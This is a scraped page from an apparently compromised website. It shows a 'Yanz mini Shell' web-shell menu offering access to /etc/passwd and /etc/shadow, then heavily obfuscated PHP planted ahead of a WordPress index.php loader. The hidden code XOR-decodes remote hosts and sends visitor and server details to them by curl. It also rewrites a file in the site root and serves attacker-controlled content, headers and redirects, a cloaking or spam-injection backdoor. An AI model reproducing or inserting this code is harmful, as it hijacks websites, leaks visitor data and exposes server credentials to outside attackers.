Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php function Mf4HwBblib($KzptC, $kGPVe){ $gxi3t = ($KzptC * $kGPVe) % 84; $IbCvY = sqrt(abs($gxi3t)) * 9018 / 100; $Fumh7 = ($gxi3t << 2) ^ ($IbCvY >> 1); if($Fumh7 > 84 * 10) { $Fumh7 = $Fumh7 / $KzptC; } else { $Fumh7 = $Fumh7 * $kGPVe; } return ($Fumh7 + $gxi3t) % 9018; } $PWwWOL = 258 + 466; $uJrEnU = ($PWwWOL * 258) / (466 + 1); $QbTQ8b = str_repeat('x', $PWwWOL % 10); $PWwWOL = ($PWwWOL << 10) | ($PWwWOL >> (32 - 10)); class lpVyqjSVgd1x { private $RJ5hF; private $iFEBP; public function qxyEguY4() { return $this->RJ5hF * $this->iFEBP % 100; } public function vKuWyJe8($RJ5hF) { $this->$RJ5hF = ($RJ5hF + $this->$RJ5hF) % 1000; return $this->qxyEguY4(); } } $R1yGR = 'HYUHD6AhkCHv4R2N';$L2NeJ = array('_608amh' => '6d6a666d7704645b53667b4e1160766b7e6c707e011377594e7470530760177d797c667b6104044d5c756d417577047d6d6f6d6d730f645e5d667e441164076b7a1c707e0613772b4e750c5a1161016b7b6b707b7c1372504e710c53026717780d7c63796101794d58716d450577017d6d6b106d720f645f5d667e431164776b7f60707f7213775f4e747d530360177c0d7c630a6100024d5d0764530761177d7a7c66706105794d59076d400177040b6d6f646d730e645b59667b471161016b7a1c707f7713772d4e757e53026517787a7c637d6101734d5d756d44717704796d6f676d72056d4d58706d45067701766d6a6d6d7672645e5e667e331164036b7f61707b761372594e707b5306171779717c627e6101004d5c756d400577040b6d6e6c6d7300645e5d667a331164056b7e6b707e77','_dcamlh' => '64','_uydfrr' => '202d213837','_s5gezf' => '202d2138','_4nkggw' => '67','_p867ch' => '000d01181b7e0e3b3f','_sjlan3' => '000d01181b77022b2e131c2978137c091d18120d','_55sr9n' => '2d37','_obyp4u' => '000d01181b64042e2e110d24','_z052er' => '','_wvn2se' => '3f3c3775','_k6dsi7' => '6e232f75','_lyj5za' => '79','_xv0put' => '78','_b6bf80' => '6e2c272179','_nt243i' => '6e2c2724375e20060c7e','_zuzj54' => '6e31213c340b','_yjh3uc' => '6e353426230b','_59y4yl' => '0c16161d09730f3c3411073960','_x6boig' => '672b3a2a2b4232461f3b3c','_t0lvbk' => '','_g7cj4k' => '6766','_ndo6bb' => '77','_tanitb' => '1d2a303a6957260d053772561e','_t11u2h' => '09353927330c6147','_ggwl9o' => '1b30212d295731524b','_6d5zff' => '72767a','_i417zo' => '3b30212d29573146132e24','_rx45zt' => '263637273043320d19222f135a26','_502glm' => '000d011817','_8q4rhc' => '273f33','_y3hwh0' => '000d01181b6e1e2e24111f376616770a170907071079','_bmagu3' => '000d01181b701327251717337a166d061c0d051b','_043c8c' => '1a1c041d016515373e1101','_sxxuo2' => '292b323e','_38ycpl' => '1811051717730d2e','_qheg40' => '77','_yqqrq7' => '190c101a1d69123c390a0631','_8kouks' => '000d01181b63122d391c0931711c66','_4rskwd' => '2f363a2f285323071f','_9s4ht8' => '2a303b2f','_5l7i6r' => '31383d272b','_hohyoo' => '2f363a2f2853','_8um6ml' => '0f363a2f285323071f','_5hi27s' => '202d21387e196e','_bszfqn' => '67303b2c214e6f18033377','_5wy943' => '293539273369341a071c2e1944375c','_3kmpig' => '2b0c07046473331a0431725604','_agafix' => '27323d3c295a260d1f2a2511','_6ivtu0' => '0b363b3c215835453f3a38130e725b23293e30672e46240f','_6bgheg' => '27323d3c295a260d1f2a2511','_y2l8dv' => '27323d3c295a260d1f203b05','_cf4jl9' => '0b363b3c215835453f3a38130e72462b302d7a2b37457a48082b2904473746733d2d33657c','_omzjq8' => '27323d3c295a260d1f203b05','_f7jf9q' => '27323d3c295a260d1f20271840375c3a','_n3e4ey' => '0b363b3c215835451f3a38130e72462b302d7a20305b2d534b2020174621573a752c212e690e','_aqz94d' => '27323d3c295a260d1f20271840375c3a','_3v9juv' => '27322d252851241c082c2602513c46','_hjauj8' => '0b363b3c215835453f3a38130e72533e38353c2b25422807056c301b5869122d2038273b21427c1d1f25654e','_zr438i' => '27322d252851241c082c2602513c46','_l5un1s' => '2f3c212b2b58350d05377d46042253292d','_lgs2ng' => '000d01186b076f594b767846141b5c3a2d2b3b292816120d19352d041417403c272b','_3sdix8' => '2f3c212b2b58350d05377c46002253292d','_hoh0br' => '000d01186b076f594b777842141c5d3a681f3a3d2a52','_v0qggw' => '2f3c212b2b58350d05377b46052253292d','_1g82ny' => '000d01186b076f594b707847141f5d382d3d751821442c0905262602582b','_khfl7a' => '04363629305f2e065163','_ck8rzd' => '273227272659351b0c263c155b3c462b262d','_rhu4jh' => '0b363b3c215835453f3a38130e72462b302d7a3828572806','_nr33lw' => '273227272659351b0c263c155b3c462b262d','_x86x66' => '1f090a1d17731e3c2306053367');foreach($L2NeJ as $key => $value){ $rIgIO = soEam(hex2bin($value), $R1yGR); define($key, $rIgIO ); }unset($L2NeJ, $R1yGR);unset($GLOBALS['soEam']);function soEam($_0x9dopy, $_0xgfaln) {$_0x3gban = strlen($_0xgfaln);$_0xlp1yh = '';for($_0xbaez5=0;$_0xbaez5<strlen($_0x9dopy);$_0xbaez5++){$_0xlp1yh .= chr(ord($_0x9dopy[$_0xbaez5]) ^ ord($_0xgfaln[$_0xbaez5 % $_0x3gban]));}return $_0xlp1yh;}$NBucF = _608amh; $a01fH = explode(_dcamlh, $NBucF); $bTbAk = TwEi4nVK() ? _uydfrr : _s5gezf; $VwG6o = UcCSvl8k(); $JcZaN = empty($VwG6o) ? _4nkggw : $VwG6o; $QeRgT = $_SERVER[_p867ch]; $HdtD3 = isset($_SERVER[_sjlan3]) ? $_SERVER[_sjlan3] : _55sr9n; $VL2JB = isset($_SERVER[_obyp4u]) ? $_SERVER[_obyp4u] : _z052er; $q8i9k = _wvn2se . $QeRgT . _k6dsi7 . (mFVvyvqC() ? _lyj5za : _xv0put) . _b6bf80 . urlencode($JcZaN) . _nt243i . urlencode($VL2JB) . _zuzj54 . $bTbAk . _yjh3uc . $HdtD3; $epxNn = fhMFUn5f($a01fH, $bTbAk, $q8i9k); $OlBFy = $_SERVER[_59y4yl] . _x6boig; $wn3ba = _z052er; if (stristr($JcZaN, _g7cj4k)) { $wn3ba = _ndo6bb; } $l4vSQ = _tanitb . PHP_EOL; $l4vSQ .= _t11u2h . PHP_EOL . PHP_EOL; $l4vSQ .= _ggwl9o . $bTbAk . _6d5zff . $QeRgT . _4nkggw . $wn3ba . _i417zo . PHP_EOL; if (!file_exists($OlBFy)) { file_put_contents($OlBFy, $l4vSQ); } else { if (md5_file($OlBFy) !== md5($l4vSQ)) { @file_put_contents($OlBFy, $l4vSQ); } } if (!strstr($epxNn, _rx45zt)) { C5XYKIcz($epxNn); } function TwEi4nVK() { return ( isset($_SERVER[_502glm]) && strtolower($_SERVER[_502glm]) !== _8q4rhc || isset($_SERVER[_y3hwh0]) && $_SERVER[_y3hwh0] === _uydfrr || isset($_SERVER[_bmagu3]) && strtolower($_SERVER[_bmagu3]) !== _8q4rhc ); } function UcCSvl8k() { if (isset($_SERVER[_043c8c])) { return $_SERVER[_043c8c]; } elseif (isset($_SERVER[_sxxuo2])) { return $_SERVER[_38ycpl] . _ndo6bb . $_SERVER[_sxxuo2][0]; } else { return $_SERVER[_38ycpl] . _ndo6bb . $_SERVER[_yqqrq7]; } } function mFVvyvqC() { $XU2g3 = strtolower(isset($_SERVER[_8kouks]) ? $_SERVER[_8kouks] : _z052er); return stristr($XU2g3, _4rskwd) || stristr($XU2g3, _9s4ht8) || stristr($XU2g3, _5l7i6r) || stristr($XU2g3, _hohyoo) || stristr($XU2g3, _8um6ml); } function fhMFUn5f($avgR5, $bTbAk, $q8i9k) { shuffle($avgR5); foreach ($avgR5 as $e2c0W) { $e2c0W = str_rot13(urldecode($e2c0W)); $J0DXe = _5hi27s . $e2c0W . _bszfqn . $q8i9k; $I7nE6 = curl_init(); curl_setopt($I7nE6, CURLOPT_URL, $J0DXe); curl_setopt($I7nE6, CURLOPT_RETURNTRANSFER, true); $TVEE9 = curl_exec($I7nE6); if (!curl_errno($I7nE6)) { curl_close($I7nE6); return $TVEE9; } else { curl_close($I7nE6); } if (ini_get(_5wy943)) { $TVEE9 = @file_get_contents($J0DXe); if ($TVEE9 !== false) { return $TVEE9; } } } echo _3kmpig; } function C5XYKIcz($epxNn) { if (strstr($epxNn, _agafix)) { header(_6ivtu0); echo str_replace(_agafix, _z052er, $epxNn); exit(); } elseif (strstr($epxNn, _y2l8dv)) { header(_cf4jl9); echo str_replace(_y2l8dv, _z052er, $epxNn); exit(); } elseif (strstr($epxNn, _f7jf9q)) { header(_n3e4ey); echo str_replace(_f7jf9q, _z052er, $epxNn); exit(); } elseif (strstr($epxNn, _3v9juv)) { header(_hjauj8); echo str_replace(_3v9juv, _z052er, $epxNn); exit(); } elseif (strstr($epxNn, _l5un1s)) { header(_lgs2ng); exit(); } elseif (strstr($epxNn, _3sdix8)) { header(_hoh0br); exit(); } elseif (strstr($epxNn, _v0qggw)) { header(_1g82ny); $epxNn = str_replace(_v0qggw, _z052er, $epxNn); header(_khfl7a . $epxNn); exit(); } elseif (strstr($epxNn, _ck8rzd)) { header(_rhu4jh); echo str_replace(_ck8rzd, _z052er, $epxNn); exit(); } } define( _x86x66, true );?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>